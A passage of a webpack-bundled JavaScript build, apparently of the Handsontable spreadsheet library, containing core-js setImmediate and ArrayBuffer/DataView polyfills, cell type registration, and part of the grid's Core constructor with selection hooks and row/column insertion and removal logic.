}; /***/ }), /* 117 */ /***/ (function(module, exports, __webpack_require__) { var ctx = __webpack_require__(37); var invoke = __webpack_require__(138); var html = __webpack_require__(98); var cel = __webpack_require__(92); var global = __webpack_require__(6); var process = global.process; var setTask = global.setImmediate; var clearTask = global.clearImmediate; var MessageChannel = global.MessageChannel; var Dispatch = global.Dispatch; var counter = 0; var queue = {}; var ONREADYSTATECHANGE = 'onreadystatechange'; var defer, channel, port; var run = function () { var id = +this; // eslint-disable-next-line no-prototype-builtins if (queue.hasOwnProperty(id)) { var fn = queue[id]; delete queue[id]; fn(); } }; var listener = function (event) { run.call(event.data); }; // Node.js 0.9+ & IE10+ has setImmediate, otherwise: if (!setTask || !clearTask) { setTask = function setImmediate(fn) { var args = []; var i = 1; while (arguments.length > i) args.push(arguments[i++]); queue[++counter] = function () { // eslint-disable-next-line no-new-func invoke(typeof fn == 'function' ? fn : Function(fn), args); }; defer(counter); return counter; }; clearTask = function clearImmediate(id) { delete queue[id]; }; // Node.js 0.8- if (__webpack_require__(39)(process) == 'process') { defer = function (id) { process.nextTick(ctx(run, id, 1)); }; // Sphere (JS game engine) Dispatch API } else if (Dispatch && Dispatch.now) { defer = function (id) { Dispatch.now(ctx(run, id, 1)); }; // Browsers with MessageChannel, includes WebWorkers } else if (MessageChannel) { channel = new MessageChannel(); port = channel.port2; channel.port1.onmessage = listener; defer = ctx(port.postMessage, port, 1); // Browsers with postMessage, skip WebWorkers // IE8 has postMessage, but it's sync & typeof its postMessage is 'object' } else if (global.addEventListener && typeof postMessage == 'function' && !global.importScripts) { defer = function (id) { global.postMessage(id + '', '*'); }; global.addEventListener('message', listener, false); // IE8- } else if (ONREADYSTATECHANGE in cel('script')) { defer = function (id) { html.appendChild(cel('script'))[ONREADYSTATECHANGE] = function () { html.removeChild(this); run.call(id); }; }; // Rest old browsers } else { defer = function (id) { setTimeout(ctx(run, id, 1), 0); }; } } module.exports = { set: setTask, clear: clearTask }; /***/ }), /* 118 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var global = __webpack_require__(6); var DESCRIPTORS = __webpack_require__(20); var LIBRARY = __webpack_require__(52); var $typed = __webpack_require__(89); var hide = __webpack_require__(28); var redefineAll = __webpack_require__(65); var fails = __webpack_require__(4); var anInstance = __webpack_require__(64); var toInteger = __webpack_require__(33); var toLength = __webpack_require__(16); var toIndex = __webpack_require__(156); var gOPN = __webpack_require__(56).f; var dP = __webpack_require__(17).f; var arrayFill = __webpack_require__(113); var setToStringTag = __webpack_require__(60); var ARRAY_BUFFER = 'ArrayBuffer'; var DATA_VIEW = 'DataView'; var PROTOTYPE = 'prototype'; var WRONG_LENGTH = 'Wrong length!'; var WRONG_INDEX = 'Wrong index!'; var $ArrayBuffer = global[ARRAY_BUFFER]; var $DataView = global[DATA_VIEW]; var Math = global.Math; var RangeError = global.RangeError; // eslint-disable-next-line no-shadow-restricted-names var Infinity = global.Infinity; var BaseBuffer = $ArrayBuffer; var abs = Math.abs; var pow = Math.pow; var floor = Math.floor; var log = Math.log; var LN2 = Math.LN2; var BUFFER = 'buffer'; var BYTE_LENGTH = 'byteLength'; var BYTE_OFFSET = 'byteOffset'; var $BUFFER = DESCRIPTORS ? '_b' : BUFFER; var $LENGTH = DESCRIPTORS ? '_l' : BYTE_LENGTH; var $OFFSET = DESCRIPTORS ? '_o' : BYTE_OFFSET; // IEEE754 conversions based on https://github.com/feross/ieee754 function packIEEE754(value, mLen, nBytes) { var buffer = new Array(nBytes); var eLen = nBytes * 8 - mLen - 1; var eMax = (1 << eLen) - 1; var eBias = eMax >> 1; var rt = mLen === 23 ? pow(2, -24) - pow(2, -77) : 0; var i = 0; var s = value < 0 || value === 0 && 1 / value < 0 ? 1 : 0; var e, m, c; value = abs(value); // eslint-disable-next-line no-self-compare if (value != value || value === Infinity) { // eslint-disable-next-line no-self-compare m = value != value ? 1 : 0; e = eMax; } else { e = floor(log(value) / LN2); if (value * (c = pow(2, -e)) < 1) { e--; c *= 2; } if (e + eBias >= 1) { value += rt / c; } else { value += rt * pow(2, 1 - eBias); } if (value * c >= 2) { e++; c /= 2; } if (e + eBias >= eMax) { m = 0; e = eMax; } else if (e + eBias >= 1) { m = (value * c - 1) * pow(2, mLen); e = e + eBias; } else { m = value * pow(2, eBias - 1) * pow(2, mLen); e = 0; } } for (; mLen >= 8; buffer[i++] = m & 255, m /= 256, mLen -= 8); e = e << mLen | m; eLen += mLen; for (; eLen > 0; buffer[i++] = e & 255, e /= 256, eLen -= 8); buffer[--i] |= s * 128; return buffer; } function unpackIEEE754(buffer, mLen, nBytes) { var eLen = nBytes * 8 - mLen - 1; var eMax = (1 << eLen) - 1; var eBias = eMax >> 1; var nBits = eLen - 7; var i = nBytes - 1; var s = buffer[i--]; var e = s & 127; var m; s >>= 7; for (; nBits > 0; e = e * 256 + buffer[i], i--, nBits -= 8); m = e & (1 << -nBits) - 1; e >>= -nBits; nBits += mLen; for (; nBits > 0; m = m * 256 + buffer[i], i--, nBits -= 8); if (e === 0) { e = 1 - eBias; } else if (e === eMax) { return m ? NaN : s ? -Infinity : Infinity; } else { m = m + pow(2, mLen); e = e - eBias; } return (s ? -1 : 1) * m * pow(2, e - mLen); } function unpackI32(bytes) { return bytes[3] << 24 | bytes[2] << 16 | bytes[1] << 8 | bytes[0]; } function packI8(it) { return [it & 0xff]; } function packI16(it) { return [it & 0xff, it >> 8 & 0xff]; } function packI32(it) { return [it & 0xff, it >> 8 & 0xff, it >> 16 & 0xff, it >> 24 & 0xff]; } function packF64(it) { return packIEEE754(it, 52, 8); } function packF32(it) { return packIEEE754(it, 23, 4); } function addGetter(C, key, internal) { dP(C[PROTOTYPE], key, { get: function () { return this[internal]; } }); } function get(view, bytes, index, isLittleEndian) { var numIndex = +index; var intIndex = toIndex(numIndex); if (intIndex + bytes > view[$LENGTH]) throw RangeError(WRONG_INDEX); var store = view[$BUFFER]._b; var start = intIndex + view[$OFFSET]; var pack = store.slice(start, start + bytes); return isLittleEndian ? pack : pack.reverse(); } function set(view, bytes, index, conversion, value, isLittleEndian) { var numIndex = +index; var intIndex = toIndex(numIndex); if (intIndex + bytes > view[$LENGTH]) throw RangeError(WRONG_INDEX); var store = view[$BUFFER]._b; var start = intIndex + view[$OFFSET]; var pack = conversion(+value); for (var i = 0; i < bytes; i++) store[start + i] = pack[isLittleEndian ? i : bytes - i - 1]; } if (!$typed.ABV) { $ArrayBuffer = function ArrayBuffer(length) { anInstance(this, $ArrayBuffer, ARRAY_BUFFER); var byteLength = toIndex(length); this._b = arrayFill.call(new Array(byteLength), 0); this[$LENGTH] = byteLength; }; $DataView = function DataView(buffer, byteOffset, byteLength) { anInstance(this, $DataView, DATA_VIEW); anInstance(buffer, $ArrayBuffer, DATA_VIEW); var bufferLength = buffer[$LENGTH]; var offset = toInteger(byteOffset); if (offset < 0 || offset > bufferLength) throw RangeError('Wrong offset!'); byteLength = byteLength === undefined ? bufferLength - offset : toLength(byteLength); if (offset + byteLength > bufferLength) throw RangeError(WRONG_LENGTH); this[$BUFFER] = buffer; this[$OFFSET] = offset; this[$LENGTH] = byteLength; }; if (DESCRIPTORS) { addGetter($ArrayBuffer, BYTE_LENGTH, '_l'); addGetter($DataView, BUFFER, '_b'); addGetter($DataView, BYTE_LENGTH, '_l'); addGetter($DataView, BYTE_OFFSET, '_o'); } redefineAll($DataView[PROTOTYPE], { getInt8: function getInt8(byteOffset) { return get(this, 1, byteOffset)[0] << 24 >> 24; }, getUint8: function getUint8(byteOffset) { return get(this, 1, byteOffset)[0]; }, getInt16: function getInt16(byteOffset /* , littleEndian */) { var bytes = get(this, 2, byteOffset, arguments[1]); return (bytes[1] << 8 | bytes[0]) << 16 >> 16; }, getUint16: function getUint16(byteOffset /* , littleEndian */) { var bytes = get(this, 2, byteOffset, arguments[1]); return bytes[1] << 8 | bytes[0]; }, getInt32: function getInt32(byteOffset /* , littleEndian */) { return unpackI32(get(this, 4, byteOffset, arguments[1])); }, getUint32: function getUint32(byteOffset /* , littleEndian */) { return unpackI32(get(this, 4, byteOffset, arguments[1])) >>> 0; }, getFloat32: function getFloat32(byteOffset /* , littleEndian */) { return unpackIEEE754(get(this, 4, byteOffset, arguments[1]), 23, 4); }, getFloat64: function getFloat64(byteOffset /* , littleEndian */) { return unpackIEEE754(get(this, 8, byteOffset, arguments[1]), 52, 8); }, setInt8: function setInt8(byteOffset, value) { set(this, 1, byteOffset, packI8, value); }, setUint8: function setUint8(byteOffset, value) { set(this, 1, byteOffset, packI8, value); }, setInt16: function setInt16(byteOffset, value /* , littleEndian */) { set(this, 2, byteOffset, packI16, value, arguments[2]); }, setUint16: function setUint16(byteOffset, value /* , littleEndian */) { set(this, 2, byteOffset, packI16, value, arguments[2]); }, setInt32: function setInt32(byteOffset, value /* , littleEndian */) { set(this, 4, byteOffset, packI32, value, arguments[2]); }, setUint32: function setUint32(byteOffset, value /* , littleEndian */) { set(this, 4, byteOffset, packI32, value, arguments[2]); }, setFloat32: function setFloat32(byteOffset, value /* , littleEndian */) { set(this, 4, byteOffset, packF32, value, arguments[2]); }, setFloat64: function setFloat64(byteOffset, value /* , littleEndian */) { set(this, 8, byteOffset, packF64, value, arguments[2]); } }); } else { if (!fails(function () { $ArrayBuffer(1); }) || !fails(function () { new $ArrayBuffer(-1); // eslint-disable-line no-new }) || fails(function () { new $ArrayBuffer(); // eslint-disable-line no-new new $ArrayBuffer(1.5); // eslint-disable-line no-new new $ArrayBuffer(NaN); // eslint-disable-line no-new return $ArrayBuffer.name != ARRAY_BUFFER; })) { $ArrayBuffer = function ArrayBuffer(length) { anInstance(this, $ArrayBuffer); return new BaseBuffer(toIndex(length)); }; var ArrayBufferProto = $ArrayBuffer[PROTOTYPE] = BaseBuffer[PROTOTYPE]; for (var keys = gOPN(BaseBuffer), j = 0, key; keys.length > j;) { if (!((key = keys[j++]) in $ArrayBuffer)) hide($ArrayBuffer, key, BaseBuffer[key]); } if (!LIBRARY) ArrayBufferProto.constructor = $ArrayBuffer; } // iOS Safari 7.x bug var view = new $DataView(new $ArrayBuffer(2)); var $setInt8 = $DataView[PROTOTYPE].setInt8; view.setInt8(0, 2147483648); view.setInt8(1, 2147483649); if (view.getInt8(0) || !view.getInt8(1)) redefineAll($DataView[PROTOTYPE], { setInt8: function setInt8(byteOffset, value) { $setInt8.call(this, byteOffset, value << 24 >> 24); }, setUint8: function setUint8(byteOffset, value) { $setInt8.call(this, byteOffset, value << 24 >> 24); } }, true); } setToStringTag($ArrayBuffer, ARRAY_BUFFER); setToStringTag($DataView, DATA_VIEW); hide($DataView[PROTOTYPE], $typed.VIEW, true); exports[ARRAY_BUFFER] = $ArrayBuffer; exports[DATA_VIEW] = $DataView; /***/ }), /* 119 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.registerCellType = _register; exports.getCellType = _getItem; exports.getRegisteredCellTypes = exports.getRegisteredCellTypeNames = exports.hasCellType = void 0; var _staticRegister2 = _interopRequireDefault(__webpack_require__(46)); var _editors = __webpack_require__(26); var _renderers = __webpack_require__(19); var _validators = __webpack_require__(49); var _autocompleteType = _interopRequireDefault(__webpack_require__(635)); var _checkboxType = _interopRequireDefault(__webpack_require__(636)); var _dateType = _interopRequireDefault(__webpack_require__(637)); var _dropdownType = _interopRequireDefault(__webpack_require__(638)); var _handsontableType = _interopRequireDefault(__webpack_require__(639)); var _numericType = _interopRequireDefault(__webpack_require__(640)); var _passwordType = _interopRequireDefault(__webpack_require__(641)); var _textType = _interopRequireDefault(__webpack_require__(642)); var _timeType = _interopRequireDefault(__webpack_require__(643)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var _staticRegister = (0, _staticRegister2.default)('cellTypes'), register = _staticRegister.register, getItem = _staticRegister.getItem, hasItem = _staticRegister.hasItem, getNames = _staticRegister.getNames, getValues = _staticRegister.getValues; exports.getRegisteredCellTypes = getValues; exports.getRegisteredCellTypeNames = getNames; exports.hasCellType = hasItem; _register('autocomplete', _autocompleteType.default); _register('checkbox', _checkboxType.default); _register('date', _dateType.default); _register('dropdown', _dropdownType.default); _register('handsontable', _handsontableType.default); _register('numeric', _numericType.default); _register('password', _passwordType.default); _register('text', _textType.default); _register('time', _timeType.default); /** * Retrieve cell type object. * * @param {String} name Cell type identification. * @returns {Object} Returns cell type object. */ function _getItem(name) { if (!hasItem(name)) { throw Error("You declared cell type \"".concat(name, "\" as a string that is not mapped to a known object.\n Cell type must be an object or a string mapped to an object registered by \"Handsontable.cellTypes.registerCellType\" method")); } return getItem(name); } /** * Register cell type under specified name. * * @param {String} name Cell type identification. * @param {Object} type An object with contains keys (eq: `editor`, `renderer`, `validator`) which describes specified behaviour of the cell. */ function _register(name, type) { var editor = type.editor, renderer = type.renderer, validator = type.validator; if (editor) { (0, _editors.registerEditor)(name, editor); } if (renderer) { (0, _renderers.registerRenderer)(name, renderer); } if (validator) { (0, _validators.registerValidator)(name, validator); } register(name, type); } /***/ }), /* 120 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = Core; var _element = __webpack_require__(1); var _setting = __webpack_require__(121); var _function = __webpack_require__(59); var _console = __webpack_require__(76); var _mixed = __webpack_require__(14); var _browser = __webpack_require__(42); var _dataMap = _interopRequireDefault(__webpack_require__(644)); var _editorManager = _interopRequireDefault(__webpack_require__(647)); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _object = __webpack_require__(2); var _array = __webpack_require__(3); var _templateLiteralTag = __webpack_require__(58); var _plugins = __webpack_require__(13); var _renderers = __webpack_require__(19); var _validators = __webpack_require__(49); var _string = __webpack_require__(48); var _number = __webpack_require__(9); var _tableView = _interopRequireDefault(__webpack_require__(648)); var _dataSource = _interopRequireDefault(__webpack_require__(649)); var _data = __webpack_require__(122); var _recordTranslator = __webpack_require__(424); var _rootInstance = __webpack_require__(425); var _src = __webpack_require__(8); var _pluginHooks = _interopRequireDefault(__webpack_require__(22)); var _defaultSettings = _interopRequireDefault(__webpack_require__(426)); var _cellTypes = __webpack_require__(119); var _i18n = __webpack_require__(427); var _dictionariesManager = __webpack_require__(90); var _utils = __webpack_require__(428); var _keyStateObserver = __webpack_require__(123); var _selection = __webpack_require__(429); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _templateObject() { var data = _taggedTemplateLiteral(["Deprecation warning: This method is going to be removed in the next release.\n If you want to select a cell using props, please use the `selectCell` method."], ["Deprecation warning: This method is going to be removed in the next release.\n If you want to select a cell using props, please use the \\`selectCell\\` method."]); _templateObject = function _templateObject() { return data; }; return data; } function _taggedTemplateLiteral(strings, raw) { if (!raw) { raw = strings.slice(0); } return Object.freeze(Object.defineProperties(strings, { raw: { value: Object.freeze(raw) } })); } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } var activeGuid = null; /** * Handsontable constructor * * @core * @constructor Core * @description * * After Handsontable is constructed, you can modify the grid behavior using the available public methods. * * --- * ## How to call methods * * These are 2 equal ways to call a Handsontable method: * * ```js * // all following examples assume that you constructed Handsontable like this * const hot = new Handsontable(document.getElementById('example1'), options); * * // now, to use setDataAtCell method, you can either: * ht.setDataAtCell(0, 0, 'new value'); * ``` * * Alternatively, you can call the method using jQuery wrapper (__obsolete__, requires initialization using our jQuery guide * ```js * $('#example1').handsontable('setDataAtCell', 0, 0, 'new value'); * ``` * --- */ function Core(rootElement, userSettings) { var _this = this; var rootInstanceSymbol = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; var preventScrollingToCell = false; var instance = this; var GridSettings = function GridSettings() {}; var eventManager = new _eventManager.default(instance); var priv; var datamap; var dataSource; var grid; var editorManager; (0, _object.extend)(GridSettings.prototype, _defaultSettings.default.prototype); // create grid settings as a copy of default settings (0, _object.extend)(GridSettings.prototype, userSettings); // overwrite defaults with user settings (0, _object.extend)(GridSettings.prototype, expandType(userSettings)); (0, _utils.applyLanguageSetting)(GridSettings.prototype, userSettings.language); if ((0, _rootInstance.hasValidParameter)(rootInstanceSymbol)) { (0, _rootInstance.registerAsRootInstance)(this); } (0, _keyStateObserver.startObserving)(); this.isDestroyed = false; this.rootElement = rootElement; this.isHotTableEnv = (0, _element.isChildOfWebComponentTable)(this.rootElement); _eventManager.default.isHotTableEnv = this.isHotTableEnv; this.container = document.createElement('div'); this.renderCall = false; rootElement.insertBefore(this.container, rootElement.firstChild); if (false) { (0, _mixed._injectProductInfo)(userSettings.licenseKey, rootElement); } this.guid = "ht_".concat((0, _string.randomString)()); // this is the namespace for global events var recordTranslator = (0, _recordTranslator.getTranslator)(instance); dataSource = new _dataSource.default(instance); if (!this.rootElement.id || this.rootElement.id.substring(0, 3) === 'ht_') { this.rootElement.id = this.guid; // if root element does not have an id, assign a random id } priv = { cellSettings: [], columnSettings: [], columnsSettingConflicts: ['data', 'width', 'language'], settings: new GridSettings(), // current settings instance selRange: null, // exposed by public method `getSelectedRange` isPopulated: null, scrollable: null, firstRun: true }; var selection = new _selection.Selection(priv.settings, { countCols: function countCols() { return instance.countCols(); }, countRows: function countRows() { return instance.countRows(); }, propToCol: function propToCol(prop) { return datamap.propToCol(prop); }, isEditorOpened: function isEditorOpened() { return instance.getActiveEditor() ? instance.getActiveEditor().isOpened() : false; } }); this.selection = selection; this.selection.addLocalHook('beforeSetRangeStart', function (cellCoords) { _this.runHooks('beforeSetRangeStart', cellCoords); }); this.selection.addLocalHook('beforeSetRangeStartOnly', function (cellCoords) { _this.runHooks('beforeSetRangeStartOnly', cellCoords); }); this.selection.addLocalHook('beforeSetRangeEnd', function (cellCoords) { _this.runHooks('beforeSetRangeEnd', cellCoords); if (cellCoords.row < 0) { cellCoords.row = _this.view.wt.wtTable.getFirstVisibleRow(); } if (cellCoords.col < 0) { cellCoords.col = _this.view.wt.wtTable.getFirstVisibleColumn(); } }); this.selection.addLocalHook('afterSetRangeEnd', function (cellCoords) { var preventScrolling = (0, _object.createObjectPropListener)(false); var selectionRange = _this.selection.getSelectedRange(); var _selectionRange$curre = selectionRange.current(), from = _selectionRange$curre.from, to = _selectionRange$curre.to; var selectionLayerLevel = selectionRange.size() - 1; _this.runHooks('afterSelection', from.row, from.col, to.row, to.col, preventScrolling, selectionLayerLevel); _this.runHooks('afterSelectionByProp', from.row, instance.colToProp(from.col), to.row, instance.colToProp(to.col), preventScrolling, selectionLayerLevel); var isSelectedByAnyHeader = _this.selection.isSelectedByAnyHeader(); var currentSelectedRange = _this.selection.selectedRange.current(); var scrollToCell = true; if (preventScrollingToCell) { scrollToCell = false; } if (preventScrolling.isTouched()) { scrollToCell = !preventScrolling.value; } var isSelectedByRowHeader = _this.selection.isSelectedByRowHeader(); var isSelectedByColumnHeader = _this.selection.isSelectedByColumnHeader(); if (scrollToCell !== false) { if (!isSelectedByAnyHeader) { if (currentSelectedRange && !_this.selection.isMultiple()) { _this.view.scrollViewport(currentSelectedRange.from); } else { _this.view.scrollViewport(cellCoords); } } else if (isSelectedByRowHeader) { _this.view.scrollViewportVertically(cellCoords.row); } else if (isSelectedByColumnHeader) { _this.view.scrollViewportHorizontally(cellCoords.col); } } // @TODO: These CSS classes are no longer needed anymore. They are used only as a indicator of the selected // rows/columns in the MergedCells plugin (via border.js#L520 in the walkontable module). After fixing // the Border class this should be removed. if (isSelectedByRowHeader && isSelectedByColumnHeader) { (0, _element.addClass)(_this.rootElement, ['ht__selection--rows', 'ht__selection--columns']); } else if (isSelectedByRowHeader) { (0, _element.removeClass)(_this.rootElement, 'ht__selection--columns'); (0, _element.addClass)(_this.rootElement, 'ht__selection--rows'); } else if (isSelectedByColumnHeader) { (0, _element.removeClass)(_this.rootElement, 'ht__selection--rows'); (0, _element.addClass)(_this.rootElement, 'ht__selection--columns'); } else { (0, _element.removeClass)(_this.rootElement, ['ht__selection--rows', 'ht__selection--columns']); } _this._refreshBorders(null); }); this.selection.addLocalHook('afterSelectionFinished', function (cellRanges) { var selectionLayerLevel = cellRanges.length - 1; var _cellRanges$selection = cellRanges[selectionLayerLevel], from = _cellRanges$selection.from, to = _cellRanges$selection.to; _this.runHooks('afterSelectionEnd', from.row, from.col, to.row, to.col, selectionLayerLevel); _this.runHooks('afterSelectionEndByProp', from.row, instance.colToProp(from.col), to.row, instance.colToProp(to.col), selectionLayerLevel); }); this.selection.addLocalHook('afterIsMultipleSelection', function (isMultiple) { var changedIsMultiple = _this.runHooks('afterIsMultipleSelection', isMultiple.value); if (isMultiple.value) { isMultiple.value = changedIsMultiple; } }); this.selection.addLocalHook('beforeModifyTransformStart', function (cellCoordsDelta) { _this.runHooks('modifyTransformStart', cellCoordsDelta); }); this.selection.addLocalHook('afterModifyTransformStart', function (coords, rowTransformDir, colTransformDir) { _this.runHooks('afterModifyTransformStart', coords, rowTransformDir, colTransformDir); }); this.selection.addLocalHook('beforeModifyTransformEnd', function (cellCoordsDelta) { _this.runHooks('modifyTransformEnd', cellCoordsDelta); }); this.selection.addLocalHook('afterModifyTransformEnd', function (coords, rowTransformDir, colTransformDir) { _this.runHooks('afterModifyTransformEnd', coords, rowTransformDir, colTransformDir); }); this.selection.addLocalHook('afterDeselect', function () { editorManager.destroyEditor(); _this._refreshBorders(); (0, _element.removeClass)(_this.rootElement, ['ht__selection--rows', 'ht__selection--columns']); _this.runHooks('afterDeselect'); }); this.selection.addLocalHook('insertRowRequire', function (totalRows) { _this.alter('insert_row', totalRows, 1, 'auto'); }); this.selection.addLocalHook('insertColRequire', function (totalCols) { _this.alter('insert_col', totalCols, 1, 'auto'); }); grid = { /** * Inserts or removes rows and columns. * * @memberof Core# * @function alter * @private * @param {String} action Possible values: "insert_row", "insert_col", "remove_row", "remove_col". * @param {Number|Array} index Row or column visual index which from the alter action will be triggered. * Alter actions such as "remove_row" and "remove_col" support array indexes in the * format `[[index, amount], [index, amount]...]` this can be used to remove * non-consecutive columns or rows in one call. * @param {Number} [amount=1] Ammount rows or columns to remove. * @param {String} [source] Optional. Source of hook runner. * @param {Boolean} [keepEmptyRows] Optional. Flag for preventing deletion of empty rows. */ alter: function alter(action, index) { var amount = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 1; var source = arguments.length > 3 ? arguments[3] : undefined; var keepEmptyRows = arguments.length > 4 ? arguments[4] : undefined; var delta; function spliceWith(data, startIndex, count, toInject) { var valueFactory = function valueFactory() { var result; if (toInject === 'array') { result = []; } else if (toInject === 'object') { result = {}; } return result; }; var spliceArgs = (0, _array.arrayMap)(new Array(count), function () { return valueFactory(); }); spliceArgs.unshift(startIndex, 0); data.splice.apply(data, _toConsumableArray(spliceArgs)); } var normalizeIndexesGroup = function normalizeIndexesGroup(indexes) { if (indexes.length === 0) { return []; } var sortedIndexes = _toConsumableArray(indexes); // Sort the indexes in ascending order. sortedIndexes.sort(function (_ref, _ref2) { var _ref3 = _slicedToArray(_ref, 1), indexA = _ref3[0]; var _ref4 = _slicedToArray(_ref2, 1), indexB = _ref4[0]; if (indexA === indexB) { return 0; } return indexA > indexB ? 1 : -1; }); // Normalize the {index, amount} groups into bigger groups. var normalizedIndexes = (0, _array.arrayReduce)(sortedIndexes, function (acc, _ref5) { var _ref6 = _slicedToArray(_ref5, 2), groupIndex = _ref6[0], groupAmount = _ref6[1]; var previousItem = acc[acc.length - 1]; var _previousItem = _slicedToArray(previousItem, 2), prevIndex = _previousItem[0], prevAmount = _previousItem[1]; var prevLastIndex = prevIndex + prevAmount; if (groupIndex <= prevLastIndex) { var amountToAdd = Math.max(groupAmount - (prevLastIndex - groupIndex), 0); previousItem[1] += amountToAdd; } else { acc.push([groupIndex, groupAmount]); } return acc; }, [sortedIndexes[0]]); return normalizedIndexes; }; /* eslint-disable no-case-declarations */ switch (action) { case 'insert_row': var numberOfSourceRows = instance.countSourceRows(); if (instance.getSettings().maxRows === numberOfSourceRows) { return; } // eslint-disable-next-line no-param-reassign index = (0, _mixed.isDefined)(index) ? index : numberOfSourceRows; delta = datamap.createRow(index, amount, source); spliceWith(priv.cellSettings, index, amount, 'array'); if (delta) { if (selection.isSelected() && selection.selectedRange.current().from.row >= index) { selection.selectedRange.current().from.row += delta; selection.transformEnd(delta, 0); // will call render() internally } else { instance._refreshBorders(); // it will call render and prepare methods } } break; case 'insert_col': delta = datamap.createCol(index, amount, source); for (var row = 0, len = instance.countSourceRows(); row < len; row++) { if (priv.cellSettings[row]) { spliceWith(priv.cellSettings[row], index, amount); } } if (delta) { if (Array.isArray(instance.getSettings().colHeaders)) { var spliceArray = [index, 0]; spliceArray.length += delta; // inserts empty (undefined) elements at the end of an array Array.prototype.splice.apply(instance.getSettings().colHeaders, spliceArray); // inserts empty (undefined) elements into the colHeader array } if (selection.isSelected() && selection.selectedRange.current().from.col >= index) { selection.selectedRange.current().from.col += delta; selection.transformEnd(0, delta); // will call render() internally } else { instance._refreshBorders(); // it will call render and prepare methods } } break; case 'remove_row': var removeRow = function removeRow(indexes) { var offset = 0; // Normalize the {index, amount} groups into bigger groups. (0, _array.arrayEach)(indexes, function (_ref7) { var _ref8 = _slicedToArray(_ref7, 2), groupIndex = _ref8[0], groupAmount = _ref8[1]; var calcIndex = (0, _mixed.isEmpty)(groupIndex) ? instance.countRows() - 1 : Math.max(groupIndex - offset, 0); // If the 'index' is an integer decrease it by 'offset' otherwise pass it through to make the value // compatible with datamap.removeCol method. if (Number.isInteger(groupIndex)) { // eslint-disable-next-line no-param-reassign groupIndex = Math.max(groupIndex - offset, 0); } // TODO: for datamap.removeRow index should be passed as it is (with undefined and null values). If not, the logic // inside the datamap.removeRow breaks the removing functionality. datamap.removeRow(groupIndex, groupAmount, source); priv.cellSettings.splice(calcIndex, amount); var totalRows = instance.countRows(); var fixedRowsTop = instance.getSettings().fixedRowsTop; if (fixedRowsTop >= calcIndex + 1) { instance.getSettings().fixedRowsTop -= Math.min(groupAmount, fixedRowsTop - calcIndex); } var fixedRowsBottom = instance.getSettings().fixedRowsBottom; if (fixedRowsBottom && calcIndex >= totalRows - fixedRowsBottom) { instance.getSettings().fixedRowsBottom -= Math.min(groupAmount, fixedRowsBottom); } offset += groupAmount; }); }; if (Array.isArray(index)) { removeRow(normalizeIndexesGroup(index)); } else { removeRow([[index, amount]]); } grid.adjustRowsAndCols(); instance._refreshBorders(); // it will call render and prepare methods break; case 'remove_col': var removeCol = function removeCol(indexes) { var offset = 0; // Normalize the {index, amount} groups into bigger groups. (0, _array.arrayEach)(indexes, function (_ref9) { var _ref10 = _slicedToArray(_ref9, 2), groupIndex = _ref10[0], groupAmount = _ref10[1]; var calcIndex = (0, _mixed.isEmpty)(groupIndex) ? instance.countCols() - 1 : Math.max(groupIndex - offset, 0); var visualColumnIndex = recordTranslator.toPhysicalColumn(calcIndex); // If the 'index' is an integer decrease it by 'offset' otherwise pass it through to make the value // compatible with datamap.removeCol method. if (Number.isInteger(groupIndex)) { // eslint-disable-next-line no-param-reassign groupIndex = Math.max(groupIndex - offset, 0); } // TODO: for datamap.removeCol index should be passed as it is (with undefined and null values). If not, the logic // inside the datamap.removeCol breaks the removing functionality. datamap.removeCol(groupIndex, groupAmount, source); for (var _row = 0, _len = instance.countSourceRows(); _row < _len; _row++) { if (priv.cellSettings[_row]) { // if row hasn't been rendered it wouldn't have cellSettings priv.cellSettings[_row].splice(visualColumnIndex, groupAmount); } } var fixedColumnsLeft = instance.getSettings().fixedColumnsLeft; if (fixedColumnsLeft >= calcIndex + 1) { instance.getSettings().fixedColumnsLeft -= Math.min(groupAmount, fixedColumnsLeft - calcIndex); } if (Array.isArray(instance.getSettings().colHeaders)) { if (typeof visualColumnIndex === 'undefined') { visualColumnIndex = -1; } instance.getSettings().colHeaders.splice(visualColumnIndex, groupAmount); } offset += groupAmount; }); }; if (Array.isArray(index)) { removeCol(normalizeIndexesGroup(index)); } else { removeCol([[index, amount]]); } grid.adjustRowsAndCols(); instance._refreshBorders(); // it will call render and prepare methods break; default: throw new Error("There is no such action \"".concat(action, "\"")); } if (!keepEmptyRows) { grid.adjustRowsAndCols(); // makes sure that we did not add rows that will be removed in next refresh } }, /** * Makes sure there are empty rows at the bottom of the table */ adjustRowsAndCols: function adjustRowsAndCols() { if (priv.settings.minRows) { // should I add empty rows to data source to meet minRows? var rows = instance.countRows(); if (rows < priv.settings.minRows) { for (var r = 0, minRows = priv.settings.minRows; r < minRows - rows; r++) { datamap.createRow(instance.countRows(), 1, 'auto'); } } } if 